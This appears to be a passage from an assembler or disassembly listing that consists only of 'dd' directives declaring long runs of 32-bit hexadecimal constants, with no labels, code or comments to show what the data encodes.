dd 129B027Ch, 5F6364A6h, 2133B4E9h, 730FC810h, 287E7F00h
dd 32456742h, 3A77F8ABh, 70A71923h, 0E976800h, 0C204C6B8h
dd 0FD0A2D7Dh, 8B1838C0h, 54EC0F5Ah, 9240A929h, 0C103D00Ch
dd 497FB100h, 7106261Ah, 4FF90064h, 0F5C83330h, 5600A8B3h
dd 0AA1BB0D0h, 0E62B15h, 66847F97h, 0C7E29E47h, 0FDE7C0Fh
dd 5646617Eh, 8096E48Ch, 3BA020C2h, 0EB25B6D6h, 82A4E113h
dd 0BA0B5039h, 0A40456BEh, 679A80D2h, 1E008414h, 24BC8D83h
dd 1D897A5h, 0A03B6A9Bh, 0C4B7D12Bh, 0FA24E631h, 5100AA12h
dd 9480B6C2h, 0C17500DEh, 5D0A3FEDh, 8A0E0540h, 0C9F80DA8h
dd 560508Ch, 0CBBFCD9Ch, 9A98003Ch, 0CABC86ADh, 0AC562700h
dd 0D66CB499h, 0A475B0h, 0AAFFBB4Ah, 4C699764h, 1A01A690h
dd 6A9661AEh, 0FFF04129h, 0C050649Fh, 3FF2821Fh, 42B26C84h
dd 60BEF9C6h, 7FFBF8EFh, 103300B0h, 0CE3AAF63h, 4300AD57h
dd 0B6750144h, 19D3A2BBh, 0F8A991F2h, 3C82C010h, 3BCC2000h
dd 0D9154A65h, 0CD3D0008h, 0DA4C2E88h, 9BF6E801h, 94917900h
dd 5B7DA495h, 2CB80Ah, 0EAABCF5Ah, 0B730E305h, 98AA5004h
dd 0E480756Eh, 606FEBh, 817C291Ch, 0AD2EC8E4h, 42081600h
dd 0A4526485h, 0B57E3C62h, 1BBF100h, 0D85D277Fh, 0C4000C79h
dd 0E3EFD085h, 3E48C32Fh, 405AA8D9h, 0E19C9268h, 0B11C9E8Bh
dd 60A5724Bh, 120D5C94h, 20E07D84h, 8C7CC678h, 6C008898h
dd 0EDAC745Bh, 0B0F1648Ah, 6EDB0003h, 0C50D624h, 0BE00200Bh
dd 25D9216Dh, 0F0E405E9h, 0B43D515Fh, 9AC0C5D0h, 0A9BA3964h
dd 16191A03h, 0EAC0B181h, 490091ECh, 0E2980885h, 0F636C0ABh
dd 0C9371E77h, 0E69600E5h, 3934DBB2h, 0FACE18C0h, 1F06970Bh
dd 53F7FF83h, 60220ECDh, 6EC10401h, 13BC3C92h, 3020BB72h
dd 0BEBA1h, 479C6281h, 0C44AA630h, 88A548h, 8FAA4893h
dd 0F73D83Ch, 6AE7A168h, 7A86809Ch, 885D71A7h, 96487507h
dd 40FFE9CCh, 0ADBD08AAh, 0D7BA3D50h, 850F770Eh, 60F6C9E7h
dd 0C507C105h, 680158BCh, 0C439B902h, 0D8BB28BDh, 80046BAEh
dd 78177E54h, 4DFC146Dh, 5C6858h, 76113D71h, 0D7073Fh
dd 0EDBEDFE5h, 68376773h, 7D5ED302h, 40F11252h, 5A9A4F69h
dd 9B200440h, 4E4D8163h, 8010BEC0h, 62269ABh, 0C8055F6h
dd 0F2524627h, 29393D30h, 0FAC21CD9h, 2D148180h, 919B3EFh
dd 11F3CD5h, 0C043A904h, 7BABF9ECh, 92EF7F17h, 0B5042421h
dd 6D9030h, 0C3E10578h, 0D4768B21h, 2BDA0800h, 503356D3h
dd 0B6F9034Bh, 29C869D7h, 7C887080h, 6D484700h, 98FB2809h
dd 0D6E53AB4h, 0C9F9D389h, 0FE7900E7h, 0B7002D0Ch, 0B41E2663h
dd 2A9DBCh, 4672FEDAh, 0BD136AE3h, 2B6B1A00h, 0AE3B6F74h
dd 4AE68Bh, 4FBBC1Ch, 9DE99FA3h, 0E8CF48h, 9EC7FC14h, 3D5E886Ch
dd 0B32674AEh, 942D02E0h, 0F8C9E3CDh, 0EB033E2h, 404C85E8h
dd 0B0F31827h, 4EBE0B95h, 44C01346h, 6C3FF40Ch, 40390F6Ah
dd 2CAB4037h, 484DF6h, 6831D6A0h, 35D32295h, 0FCC4D524h
dd 0CBAFF100h, 28B3604Eh, 1A42C0Eh, 0D4D7D63h, 381FD2F4h
dd 79300060h, 0CC2448Dh, 0CEF23D26h, 5016FE0Fh, 6EB0B8E0h
dd 5A09B903h, 0DAABFFh, 0BE5F6F24h, 0FCB6039Ch, 0BFC5D0EEh
dd 0A0E41800h, 6627C267h, 0BD9A008Bh, 0CF6CD705h, 7A3F82A4h
dd 64B00E73h, 5BDCA496h, 676D60C0h, 3AED00BFh, 570EBDFFh
dd 98B0AF71h, 82F3D207h, 120EC75h, 23D965h, 5A540AFBh
dd 3D297C6Fh, 9AEF38h, 21CA40F9h, 62FC84h, 0C8C1E76Ch
dd 0A811A415h, 0A526E00h, 5AD84BCDh, 0B9D2E0Fh, 37EA40F4h
dd 0DD71A1F8h, 0F5812500h, 0EE38C798h, 22CC0B69h, 50A00583h
dd 2BC4EF75h, 1DD23400h, 0A601FB50h, 837E0098h, 5A9D7D6Dh
dd 300CEBCh, 0F6E0909Fh, 0F054F2C6h, 0DB6003F0h, 0FDCAE3F5h
dd 6C770A88h, 0B8A1D17h, 0E6D91800h, 4C67900Eh, 5B0BB8FAh
dd 2005F70h, 803EDEEDh, 2882B501h, 0D721EED1h, 840C6C7Ch
dd 0DE5083B7h, 12FFCE00h, 0C9E4E8B5h, 0BF623DECh, 0A270BB0Ah
dd 3F208024h, 0D0FE5B7Ah, 0A7093900h, 304388Fh, 0CC0C0780h
dd 339F53F6h, 4DA0E1E9h, 280073DFh, 0CE9AB678h, 5F5337Fh
dd 0C1C9B3D6h, 0E1D0C09Ch, 216017D8h, 5894958h, 0D4101DD6h
dd 4C0280Ah, 92D89520h, 7C14A993h, 0D9E19F01h, 5C58CA54h
dd 54A56130h, 5CA9108Fh, 1C2C644Eh, 0D4C00084h, 6A56A4C2h
dd 0D1095170h, 24D79792h, 0ECE95978h, 6077F107h, 0D6E78F6Fh
dd 0FB2E209Dh, 0E925B754h, 1CE880BDh, 28E8268Dh, 3E087112h
dd 0B300DEF0h, 681BC587h, 6B01F3DDh, 0BD41F832h, 403A9272h
dd 4B49C77Ch, 6707610Ah, 0BE1E7EFEh, 0F25B029Eh, 9CA074BDh
dd 300FE548h, 0E88EE704h, 0CAF3AF0h, 185642DBh, 41C183F9h
dd 0FBC5D855h, 0AC30AE78h, 73723925h, 0C92B1942h, 80B51202h
dd 0ABFA6368h, 3234065h, 0DE57F4B2h, 87C03A62h, 54A04A08h
dd 24A22747h, 0BFC2E45Eh, 99EDE0FDh, 6AD600B9h, 7CF240A0h
dd 377984D8h, 4FEE8C03h, 182972FFh, 0A070016Ch, 67E6C473h
dd 0C32C5C00h, 0C2A1E9BAh, 0E8BF0026h, 0C938281Ah, 0A79839FAh
dd 623B89E6h, 0E0298064h, 84BC65C4h, 2F763BA8h, 8668F90Bh
dd 1EB91800h, 0B40E1BF1h, 7D778Ah, 0B39A1CADh, 0F97CC5h
dd 8482C07Ch, 9EC2C71Dh, 23B08954h, 0F0268B39h, 83C8880Eh
dd 0ED085948h, 93038050h, 0B4280125h, 0F4EEFB1Fh, 0F004DC02h
dd 57502262h, 2308E3F9h, 0D07B058h, 0F8042126h, 0C920B762h
dd 1C702695h, 745D443Eh, 374B9A8h, 64F89A24h, 0D2110074h
dd 4904A70h, 0BF19273Fh, 8B0846F1h, 0B12CAC28h, 8184001Eh
dd 7435C889h, 0ADC12300h, 0D3F937F0h, 806D06A0h, 689CE553h
dd 3C81CB00h, 89776760h, 387413E0h, 2214E49Bh, 2FBDCD00h
dd 0C762AE41h, 8A66647h, 6BE421D0h, 0ECEFBD07h, 0B9E0585Eh
dd 989415DDh, 950C174h, 8A240FF6h, 888C9F78h, 0FA9887BCh
dd 0E607EA4h, 3054C69Ah, 0FB905845h, 7807E1DAh, 531367Ch
dd 7D70A2C7h, 47CDD4h, 0A33F259Ch, 0E84AB212h, 5B98B51Dh
dd 0F381040h, 9160E7h, 8E352792h, 0FDD60678h, 84559F00h
dd 88DF5CEEh, 0F32A00CBh, 0A893649Ah, 12077C6Ch, 5EB5B49Dh
dd 0FD61DC10h, 91770BC8h, 0C58062C4h, 4DE4590Bh, 6B9B7100h
dd 70EB5F97h, 0BAF93038h, 52BC5C70h, 0D4E9D9ECh, 95003141h
dd 0A3C240DCh, 186E717Ah, 3C82BD4Ch, 0B3079E55h, 3688DC4Ah
dd 0D4DA16D0h, 1066004Bh, 0C5561732h, 4D008497h, 3ABAE291h
dd 0B51E82h, 9B7C4CE0h, 69FAB16Ch, 1F512400h, 0C1D23B1Ah
dd 0D5F80055h, 225AD70Fh, 0DA009B43h, 68CF94Dh, 1716197h
dd 0AA6EF07Bh, 81D7245Eh, 375A62B9h, 9C501A3Bh, 73A7C3h
dd 93F69231h, 0CD4E21B8h, 0D5E2C707h, 8420F53Ah, 4B8945h
dd 9A9B6DAAh, 417AA88Ah, 2B77EF03h, 0A80B0F55h, 0EE6C4E30h
dd 281F0006h, 0CEF9A702h, 0B3343FD0h, 47F11CAh, 517D5718h
dd 35003D42h, 0E2FCEBDEh, 1EBA4877h, 0E6E122h, 4B36CDF8h
dd 0A23FC9DCh, 0C34700D9h, 8C3A4180h, 54F90016h, 35FFB88Eh
dd 2200158Bh, 1D1EBBDEh, 72BF2Bh, 2ECCCA1h, 0A7FCDC0h
dd 14DCDA00h, 7A22630Dh, 0AB9700AAh, 30AFC29Fh, 0D000AED5h
dd 0FCCEF356h, 782E0A4Eh, 8EA400C6h, 1C2F5B86h, 0C71CCC3h
dd 680049E0h
dd 0FBFC3489h, 4D08FDh, 0D87B10BCh, 909CA96Dh, 0DE7660E1h
dd 0B32C1400h, 4D693397h, 135C05F3h, 80D0BE0Bh, 21D53622h
dd 9924FE0Eh, 4D1500CAh, 0FEE79F7Eh, 33D09026h, 0C0580D20h
dd 0F969FA00h, 0AC53DB43h, 9C0F3E2Fh, 3081093Dh, 0F3664F2Ah
dd 8659C8ABh, 3C016506h, 99F453h, 0C91E31B0h, 0C38B9EDFh
dd 0E4F56100h, 0CF97F39Ch, 0F2A60530h, 0C00B9055h, 2EF40FD9h
dd 0D7A00C60h, 51B306Ah, 0E5698664h, 70C403h, 438EB2E4h
dd 28C0BBB9h, 9D472E09h, 0E4B600D2h, 0C2D35F49h, 6800BDCEh
dd 1588FC8Eh, 987451D5h, 0F9C0055h, 0F1382A3Eh, 98C0C669h
dd 0D4A4F244h, 0ED1404C1h, 90036408h, 5F6D7E18h, 0E5D1C303h
dd 907FDE74h, 3F01CB9Eh, 978036FDh, 0F0A61F43h, 0DF07242Eh
dd 0D7A36A54h, 0E7D1FE13h, 0AF9BF9D0h, 0CA8918D9h, 565B06Eh
dd 9200C679h, 0A0EE19CFh, 7A47D3h, 0E84CB6FFh, 72A1AA4h
dd 0E9DABDA0h, 0E1377B13h, 0A19D4A00h, 3C753331h, 0FE0013A6h
dd 0EF7C0BB9h, 49002005h, 0B1808C16h, 0E631B08h, 0A497691Fh
dd 0E83E5820h, 0CAFE6087h, 6E64300h, 0ED68BE8Ch, 597B00EEh
dd 0F0724A20h, 0B7381BA9h, 2AB28650h, 0C8CDC8h, 0D3E326EBh
dd 1063A42Eh, 0D682A65Bh, 6AC4812h, 51600C8h, 68D53152h
dd 1D306DB2h, 0EF1114Eh, 88802D4h, 0F5068E5Ch, 0DB001ED6h
dd 73C3AB96h, 707E00AAh, 3FA272A5h, 6100F85Bh, 0DE660A15h
dd 8C3702h, 25DC2D54h, 0FB294AEh, 3CF0095Fh, 0D8C714C1h
dd 6000D867h, 0E8C5FCC3h, 0F2902CD6h, 4A36B301h, 40A654FFh
dd 0A4D9DCh, 21751982h, 0E0F4B8A1h, 36D16C0Fh, 6312609Fh
dd 0B0FA59E1h, 18660189h, 0BA3E072Dh, 4047C971h, 8565DFFh
dd 5109B1E0h, 80B2C2h, 855FF608h, 1983001Fh, 8CB075B5h
dd 70004F56h, 0E913A239h, 5F79F55h, 97E5D5BDh, 4E9C40CBh
dd 9161CEA4h, 0C0199E00h, 10ECABA8h, 0E9B70415h, 0C09C0E69h
dd 0E5D8391Ch, 7002B48h, 38D78395h, 5D239A60h, 5715183Eh
dd 48FF8881h, 5342D5A2h, 68B23C80h, 0EEEA5CB1h, 1BE18200h
dd 57737A12h, 0E4EC6Ah, 0D80255AEh, 0AAB8D19Bh, 18A50C00h
dd 1A77D7A4h, 0D0B600A6h, 0E6BA473Bh, 0C700FF98h, 4C57C59Dh
dd 9A7B6Dh, 3794D8DAh, 0B274FDDCh, 5F255E03h, 98441611h
dd 0E0DF615h, 0BACDB94h, 23FDC6C0h, 0B40154ADh, 45A8DA49h
dd 28BC1FABh, 260F5700h, 25BA2A2Bh, 0E432F501h, 0BB01B011h
dd 752EA1E8h, 0F30800EDh, 0ECDAE9A5h, 0A4A811C5h, 2B00E250h
dd 5B7121D3h, 3B2EED2Dh, 0B000EFAAh, 0DFE63F0Ch, 2A7F2393h
dd 0A50F3Eh, 60E9814Bh, 48899116h, 5D00D69Ch, 0E14E8C4Ah
dd 2D00F974h, 2E71E27Ah, 796E2276h, 0F65B0061h, 75F56772h
dd 2800FA89h, 0DDDB7057h, 0E0A60EB6h, 0AD4B00FFh, 1BF3E449h
dd 0E27F652Fh, 0F8FEA50Eh, 6051E066h, 0FB3753h, 0F163FFB7h
dd 0DE2F42C1h, 138A24Ch, 600AEFDBh, 60EE5FC2h, 8B5518h
dd 0F41EC530h, 0BE1F5C4Fh, 36266024h, 80580509h, 5932E8E8h
dd 0DAE4B0h, 0E79BAC20h, 633D180Dh, 6D9FD502h, 68147EB5h
dd 0AA5D40h, 0C8B1956Ch, 6D26EA34h, 65B80B04h, 59C0AD3Ch
dd 1D638Eh, 0F8442030h, 0AA667C31h, 98D18302h, 80DDE95Fh
dd 0A6FEDCA8h, 0F17E070Eh, 79BCEh, 7FC81AAFh, 50D7090Eh
dd 790DC015h, 804497h, 39B172E9h, 0B8229BEAh, 144E2400h
dd 5936A615h, 719A00EDh, 0F1F4A4C6h, 69FE46D5h, 0ED205Ch
dd 5D7392BEh, 137E1Eh, 573553EEh, 36F7AB51h, 0ACEAFC00h
dd 9DC66FAFh, 81AA00D0h, 0C7971337h, 1100B7D7h, 0AE790E2Fh
dd 730C66EEh, 0BD1A005Ch, 0F7CE46ADh, 0F126B211h, 3B366Eh
dd 0AB048C09h, 9E9BD3h, 4CF9946Ah, 378ECF17h, 71927001h
dd 0F24680C9h, 0F41061F0h, 0E5760040h, 66BE31EBh, 0C04B20DDh
dd 0D93B51A8h, 67F60C03h, 0D098F49Bh, 95025539h, 0B121B330h
dd 76A4A0E0h, 24426D6Eh, 1E22D578h, 0C2540007h, 0FE33818Eh
dd 0F0364300h, 0F4F14D4Ch, 0A20204D8h, 87B73CC8h, 6097F75Fh
dd 0A7352733h, 0B9658C2Eh, 745FCB01h, 0EE40637Eh, 6ED904h
dd 0EE8A352Eh, 0FEF0B9BFh, 241A4C00h, 0CDC5D152h, 614300FCh
dd 558E413h, 0AE00D7E1h, 0D6F0B642h, 607E998Eh, 0FABD9C07h
dd 0AA00ACD8h, 8B78AD3h, 542B61h, 74AFA526h, 0E9700AB8h
dd 9F3F100h, 4580A12Dh, 0B41E00C2h, 0F8EE2142h, 2F0F3757h
dd 263CF47Ah, 0A0881D74h, 177FEC1Bh, 40B5AD45h, 0D60A64DCh
dd 34007A10h, 962CCBBh, 0EEC6E592h, 5C5105C4h, 88EA2A14h
dd 0A0006994h, 0A936FE8Dh, 9AA5ECDCh, 8CD25CA4h, 49E7D102h
dd 0C9423963h, 0EB4FF468h, 760608E8h, 0C625D70Eh, 21677C2h
dd 50641FDFh, 2450A82Fh, 694C3A00h, 0E15D77Ah, 7AFE748Ah
dd 7721C762h, 939FC0F7h, 6C004E5Ch, 0CF64E404h, 0B9D66Fh
dd 0F751AB06h, 292401DBh, 0DE074Ch, 0A8A48DAFh, 0F6B9E3AEh
dd 5B9300F2h, 0A2A9C70Dh, 0B51CDEBCh, 0D180B6E0h, 0F5F2CC39h
dd 5C8B90A6h, 0E7888FEh, 0B6350DC6h, 0E35CED80h, 1A3DE951h
dd 0C0C10045h, 0B70A180Ch, 53960291h, 0A822E3EAh, 0B0B76BC3h
dd 27E6B01Ah, 0E1EC0F3h, 87F2C505h, 0C020F984h, 62E8264Ah
dd 2F79E0A6h, 89EA8C81h, 878320DCh, 0CF007390h, 3BCEC434h
dd 471A83h, 0F59B1E7Eh, 81184DE9h, 0D7021C00h, 6BDBABE7h
dd 84E43D85h, 0EAEC7280h, 0B048F39Dh, 8A3E3F00h, 87FD3B99h
dd 2C4009Ch, 6932D04Ch, 0E4009129h, 0B73DE3ADh, 4C48AA95h
dd 1E009AE1h, 1BA02CE5h, 0FC7B49C1h, 20B9230Eh, 2B64E046h
dd 3EAE1Dh, 9C990958h, 5227D84Ch, 0C8057471h, 3B671A38h
dd 5D29E00h, 0DEFBA4h, 9D0B11E5h, 207099BBh, 1FBCB900h
dd 458DDAEFh, 0EC0E3995h, 0E2184C04h, 0FC14A10Ah, 0A800B876h
dd 46593925h, 2DA2BBh, 0FA3D8374h, 7F3FBA17h, 0E3A8BD50h
dd 0AFBB5C00h, 765661F6h, 0ED503FA5h, 82209A30h, 9B052780h
dd 0E62EE214h, 77A0BC00h, 0C2FD4Eh, 0E8372975h, 63150F54h
dd 4AA54101h, 32E04B80h, 929E5160h, 0FD500054h, 0B29A1410h
dd 9F135251h, 2201AF27h, 8255492Bh, 57E8FC4h, 0E7D538D9h
dd 0EF7E82C4h, 3901F4A1h, 9B0024FAh, 28040B00h, 8346EACEh
dd 6B4300B1h, 8E798BD0h, 3001F5Fh, 5B6DB6F6h, 1FA2C264h
dd 0EEAA6E90h, 7A510E8Bh, 3721108Ch, 5AAF3A00h, 764CE77Ch
dd 55008F4h, 1200AD67h, 659F7EFDh, 0EB3D00D2h, 31BEE6BDh
dd 21007161h, 0DFDC2982h, 11C3898h, 0F8ED5258h, 88A27FB6h
dd 425B018h, 0C1045B6Eh, 83ACC34Bh, 0E612BB58h, 9B0C8E5h
dd 148E0E2Ah, 0B23761Ah, 312C7CDEh, 5800FE3Bh, 4F7315DFh
dd 0F34D01D4h, 10E26DECh, 4C080CCh, 281864D7h, 0BF913AFCh
dd 81A3799h, 20218FDBh, 0BD0F6029h, 25AE16Fh, 0B230C2F8h
dd 6BE0CDF4h, 270324FCh, 0EE5C66E7h, 9EB8FB23h, 5B881CB8h
dd 916F9835h, 0AF01980Dh, 54EC28AAh, 9131ED5Fh, 218296D1h
dd 2AAF7F30h, 0AB1650E0h, 1DF27A05h, 0CC415E58h, 2AEA273h
dd 966F1081h, 0FC687407h, 3600E9B1h, 850D982Dh, 0F4BEB49Eh
dd 913A0064h, 0B030D91Ah, 1807739Dh, 0F0FDC123h, 807EF592h
dd 43C8ADA9h, 80120087h, 0A40AA9B5h, 7F00DA6Ah, 0D270FB91h
dd 0E58AFh, 73AE38D1h, 0AA1A2953h, 0E7477C00h, 82CC7A5Bh
dd 24AC0549h, 0C0B99A92h, 44AD0450h, 7F032A76h, 575B9C43h
dd 1C700061h, 4609750Bh
dd 80CF2FB0h, 0A5C09D24h, 0DDFB9F04h, 0A269CE34h, 0AC382CE0h
dd 85003E2Bh, 79FD5FEDh, 4E3CF3Bh, 2D37AFB7h, 0D1F280BBh
dd 117B1EA7h, 9F008B70h, 0E395C89Bh, 30C5378h, 3B2D648Fh
dd 22BB961Dh, 2EB3F900h, 0B81FE5BAh, 0A14F6077h, 72238F29h
dd 115FCF00h, 0A0FA562Ch, 5A7300FBh, 0FCB92565h, 0D3EBD67h
dd 0CB788219h, 957082D8h, 0B005504h, 1FD44E7Bh, 0F6370023h
dd 0C2010D67h, 60077D9h, 10C6275Fh, 0F811DA8h, 2C65514Eh
dd 0C980420Eh, 941ED401h, 1DAA5B01h, 0F4BE41D8h, 0EDA9C4h
dd 0C6FDE909h, 0C735922Eh, 0BB36121Fh, 0F88EF1C0h, 7CE6F5EFh
dd 381F004Eh, 3257C550h, 3C3BDC64h, 56510242h, 0B8D65A96h
dd 48B18D5Ch, 3006407h, 0DF7E3ADEh, 0AB00FD55h, 5F290DCh
dd 12481BF0h, 1EF8258Dh, 0F12206A8h, 6122287Fh, 0AD5702AAh
dd 598D47FFh, 89F46F10h, 0E0E00865h, 4D50C81Ch, 1166DF43h
dd 11AEC979h, 2111FF49h, 0EF413CFBh, 11287429h, 0F5113695h
dd 589D11F7h, 1A8AB111h, 41292F98h, 2890E471h, 4FB58861h
dd 0DD8C3408h, 444451F6h, 3CA01957h, 0B1886079h, 6D51C705h
dd 55E0E010h, 0DB407D9Dh, 154A200Eh, 833CC550h, 40817A44h
dd 6C1C7090h, 640A795h, 72C61CA3h, 68FE3C94h, 0D67D1Ch
dd 0B105BBEBh, 90003F5Dh, 38341E50h, 0B8A3C141h, 4AF861h
dd 0F791FB24h, 3CB21A04h, 0D2634B00h, 0F10C0986h, 24A501E5h
dd 0C63F5102h, 5B2C08Ah, 0D46038h, 215E54B4h, 0F74E23h
dd 53C116E5h, 3738A0Bh, 3C1F20EAh, 1400ACE1h, 7A187912h
dd 85BA3D7Fh, 2419C2B3h, 0E61D20B7h, 75003B0Dh, 6038AE7Dh
dd 35BA89h, 65E12319h, 6A616881h, 55293900h, 0F1DD7B9h
dd 40D80E2Bh, 0EFA035BBh, 0A60ECD03h, 93ED8612h, 1CC0A304h
dd 0AB5EBCC0h, 37C33D7Bh, 4A806338h, 2FAC0555h, 2BECAE79h
dd 496D003h, 0D8237B76h, 71C518h, 0D5F4A79Eh, 2FCA4E0h
dd 2CCFF800h, 0ECC45AFBh, 0B535001Fh, 321BFAF9h, 0B101EEA8h
dd 0DA923083h, 17FC1A0Ch, 0CAB22029h, 9E494339h, 2283574Ch
dd 0D1652A83h, 0E5C8641Ah, 4480085h, 0BFB00299h, 9800835Eh
dd 0EC3E60B3h, 0EA940E13h, 0B8EDF80Ah, 187C6049h, 5C2A51D9h
dd 5411CD2Ch, 21900100h, 0E6220DC4h, 53CB009Bh, 7C831AF9h
dd 390002DBh, 506C373Ah, 0B82EAEh, 0BA868B08h, 45BCCB61h
dd 247BDD30h, 0FE8EFA84h, 0BDDF0051h, 544F81EBh, 60E3CAEh
dd 40D37D5Ah, 1B568019h, 0A99E0570h, 0C0F1DD96h, 51E6D4F7h
dd 0FE25A0Ah, 9E009756h, 0C59618C6h, 56C0094h, 0B3EDE1AAh
dd 2600DC8Eh, 988003F8h, 632D5h, 0AA352DCDh, 0EC8A39B9h
dd 91CA1614h, 40B400A0h, 3DAC7AE8h, 3F5B7C06h, 80BC09F1h
dd 0C4AD1007h, 0C55C9094h, 0C3E6E0DDh, 5E119C0Fh, 0C130315h
dd 0A908C089h, 17C7BC9h, 9F5F4E95h, 708B5B48h, 7B00B20Ch
dd 0C724CB8Ah, 0FC10188Eh, 0F4B901B6h, 730B8BC9h, 0B5DAF0BFh
dd 0C185A600h, 0C39AEADEh, 0DB6A00FDh, 0A1F18163h, 20003497h
dd 583A19C2h, 1E22AB87h, 3DE05Eh, 0B235A021h, 4700DD3Bh
dd 0A2C0ADF8h, 1938934h, 27D1BDDAh, 0FC184B51h, 0DD00A00Fh
dd 64B281CCh, 199EC6Fh, 5228548Ah, 0C85FC605h, 29FE205Bh
dd 10D37C00h, 0F1DC6964h, 0EFE40E49h, 5A60E5ACh, 2030B1C9h
dd 848C8A01h, 16746388h, 0B4C2CCh, 53D20251h, 96732339h
dd 0D116E0E2h, 9EC061A8h, 0F8BA1Eh, 5154336Ch, 0E0C28CABh
dd 0E29B4A00h, 0A1645C38h, 0DC981EA2h, 0C75BDEBCh, 7060F8BFh
dd 81E3BBD1h, 0E5DECC00h, 0AE696195h, 2F321C5Ah, 44604F8Ch
dd 91885B40h, 0A70297F5h, 0CA6C795Eh, 9809401Fh, 0C0E91FD8h
dd 0A83D00C6h, 559CCBC2h, 6772FC0Ah, 0CF84DC6Ch, 5120319Eh
dd 0EE015A37h, 0F8B766AEh, 89D4C4A5h, 180109E0h, 3A00CE02h
dd 326F1EEEh, 8090F03Dh, 0B1CE33Ch, 840838h, 2DA33D3h
dd 9C6E3579h, 64789501h, 0E9A25D14h, 738401F8h, 8EE0CEh
dd 10658992h, 9007F7B7h, 0F51C0212h, 6EE501ABh, 800AA10Eh
dd 37A76919h, 0A51C332h, 0A5239D36h, 58003D8Ch, 0BFF0E6ACh
dd 9900A781h, 0F3FF19Fh, 0A0BC61C9h, 0DF5CD4h, 0A6D1BAF0h
dd 7FE75795h, 0CB410605h, 0CB00C542h, 0D73804E6h, 0F8A6005Dh
dd 395AF948h, 70021FEh, 8B79C930h, 7BF4E62h, 0D64A1AC2h
dd 5FED70F8h, 5507D957h, 0DDE8CE6Dh, 83B95AA0h, 7033F09h
dd 0DBA44F80h, 0C6519EC4h, 0B84C620Eh, 34B2C03Bh, 3C6AC082h
dd 2E8067BAh, 4F24A1D7h, 4538CEB7h, 8F7E3E13h, 58E5FEh
dd 23A3E91Ch, 57A1000Dh, 56F63C6Fh, 8F038E16h, 3B6172DCh
dd 0D3CBE862h, 3D54E219h, 0A8807EB7h, 4F21767Fh, 2C001D66h
dd 0BDC38DC5h, 0D0FDCEh, 0C84519F9h, 99813ED7h, 0C4019098h
dd 46876F1Ah, 0E930FA9Dh, 247A03h, 948A5AA5h, 22D6D88Fh
dd 0F327210Fh, 76F08062h, 0FC11CEh, 9D7D49FFh, 5B7CE52Dh
dd 0A5665800h, 53CD6727h, 0EF651C68h, 0FE26C0C7h, 13591E95h
dd 0D4AE1902h, 8317628Ch, 0E0D3A7F6h, 233AFCh, 0C9BFBEA3h
dd 9B157BADh, 0AFA5CE00h, 0C3B59D53h, 7EED03F8h, 9F046EEBh
dd 349C95E0h, 0E40B5700h, 0C6ECABF0h, 240C00D0h, 5E0F13D5h
dd 25176D97h, 0C9001A39h, 7B7244C5h, 8D190091h, 693FA75Ch
dd 2078F2D7h, 52D9A200h, 0A8E3C099h, 0F8F00777h, 575C5527h
dd 0A6A9403Ch, 0F5005646h, 82A24744h, 0F75DE5Bh, 41EFAF23h
dd 7A8177E0h, 0E800A737h, 0F95510FBh, 6F19D3Ch, 2352E374h
dd 180089FEh, 0F01596EFh, 74E49A9h, 0B693FAE7h, 0E0AF8F05h
dd 0B01CD507h, 218CC37Ch, 59382C7Ch, 655A00EDh, 0FABE3542h
dd 97F2023Dh, 0CAD7BF0Eh, 0C392402Fh, 0F667A94h, 5815DDBBh
dd 0CB3FFEDEh, 8500D9BCh, 0C21D1A84h, 0F7183E7Bh, 79ECE0D1h
dd 32D407C6h, 479BE790h, 3AB031A5h, 85AEEC92h, 27007277h
dd 0BAF79903h, 10BDF6h, 21F50597h, 3C6AC2C6h, 92681500h
dd 0FD59324Fh, 8D5100A0h, 52103E39h, 4B3F9131h, 549A80CFh
dd 0F0D102A5h, 308B0306h, 42B37B48h, 0FF97B6C0h, 9B1DB100h
dd 0DDFDA1C7h, 299C006Ah, 0D0FA2579h, 6200A371h, 0EA357359h
dd 7C5744CDh, 0DB650017h, 9DB43ED5h, 831E9510h, 0E24064E5h
dd 13F80CBDh, 65AF0E5Ch, 0D9205F1Ch, 0CED1614Fh, 0C5C17503h
dd 984011ADh, 1E522AEEh, 0C324FCD6h, 81E60FB8h, 0E40AD1D1h
dd 10FF1A4h, 0CEC4FAh, 0AC63B5F6h, 662A3E3Fh, 0D3764303h
dd 90DC4846h, 0FF264BE4h, 0B6B9900h, 618541AEh, 0EA6D005Ch
dd 4860982Fh, 0E8E9FA72h, 7700CC08h, 0DA8DC29Ch, 44E75CFh
dd 5D473EF7h, 0FCA98089h, 0A2600116h, 8EEB8211h, 0BDC70023h
dd 0FD51DC6Dh, 5048EE71h, 0F8C80130h, 6A04586h, 3BCE5DD4h
dd 0B53C8313h, 0D812EE00h, 6D144C26h, 7BDC3301h, 3D29DABCh
dd 92808854h, 47221EBh, 0EF9E0702h, 29FC589h, 7383AD30h
dd 0D91C7440h, 0E3006AFEh, 6022080Ah, 989C158Eh, 0F1820308h
dd 8B2A9A89h, 6D4878F0h, 0B81FE972h, 7C40106Ah, 9D63E75Dh
dd 0A1A7EE33h, 0A8E31489h, 6F9F35h, 87FC2F99h, 9AFF9D7Ah
dd 0AD8C6E07h, 0A880FA74h, 0E343ABh, 6BD36C89h, 889ED295h
dd 609A960Ah, 0E04F877h, 26808B53h, 3A54D41Ch, 0DF808424h
dd 0BA8C4F2Dh, 7A09219Ah, 0A0614112h, 4E2BC28Ch, 681EC0Eh
dd 212A02BEh, 0BA3AB062h, 293E308Eh, 0E03F88h, 5ACE0E84h
dd 3157FCFAh, 1D6BC700h
dd 0C32ACD8Fh, 99B300F5h, 597C73CEh, 0F07B16F4h, 507758h
dd 8C6D87B0h, 0D92D5Eh, 0E11301DAh, 9F481D9Ah, 0B8142901h
dd 253CE4BDh, 0FE2F4020h, 0B304008Ch, 0A91C6AF5h, 0ED054C40h
dd 0D3D6E81h, 0CF3E6680h, 0A67D008Dh, 7923AB35h, 0A4008237h
dd 0E2606821h, 2C3FEF5h, 0E666C7A3h, 4940C5E8h, 6203ADA6h
dd 9FE5C608h, 5A291C38h, 5BD240BDh, 0A8889192h, 0D04920h
dd 0E893D48Dh, 74382BEAh, 94349200h, 88F8760Eh, 124B74B9h
dd 5C8504h, 6D2FEF57h, 47007A10h, 26A17206h, 173E3F4h
dd 0D41B6AD1h, 60CE7543h, 9500CBE9h, 0E0F39B62h, 0E2D3B669h
dd 15EB3C8Ah, 4CD534E2h, 0B0A890C0h, 3244EF07h, 6291F172h
dd 29D83C7Eh, 16DF610h, 54B0F91Eh, 0F72ED060h, 0BA4BC0A4h
dd 5C0109B5h, 0FBD2511Ch, 0B8204536h, 0C0DA0056h, 9D5EFE40h
